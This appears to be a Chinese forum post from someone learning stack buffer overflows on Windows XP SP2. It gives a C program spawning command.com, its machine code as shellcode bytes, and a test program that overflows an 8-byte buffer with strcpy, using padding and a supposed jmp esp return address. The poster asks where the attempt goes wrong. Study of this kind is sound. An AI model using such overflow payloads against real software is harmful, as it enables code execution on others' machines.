9,506
社区成员
发帖
与我相关
我的任务
分享
一、获得需要执行的程序的机器码
#include"stdafx.h"
#include<windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("command.com");
return 0;
}
获得机器码:"\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
"\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
"\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
"\x83\xC4\x04\x33\xC0"
二、溢出测试程序
#include"stdafx.h"
#include<stdio.h>
#include<string.h>
char name[] = "\x41\x41\x41\x41" //AAAA
"\x41\x41\x41\x41" //AAAA
"\x41\x41\x41\x41" //AAAA
"\x7f\xfa\x45\x12" //jmp esp(问题是不是在这个地方,我的系统是WindowsXP SP2)
//程序一的机器码
"\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
"\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
"\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
"\x83\xC4\x04\x33\xC0";
int main()
{
char output[8];
strcpy(output, name); //测试溢出
return 0;
}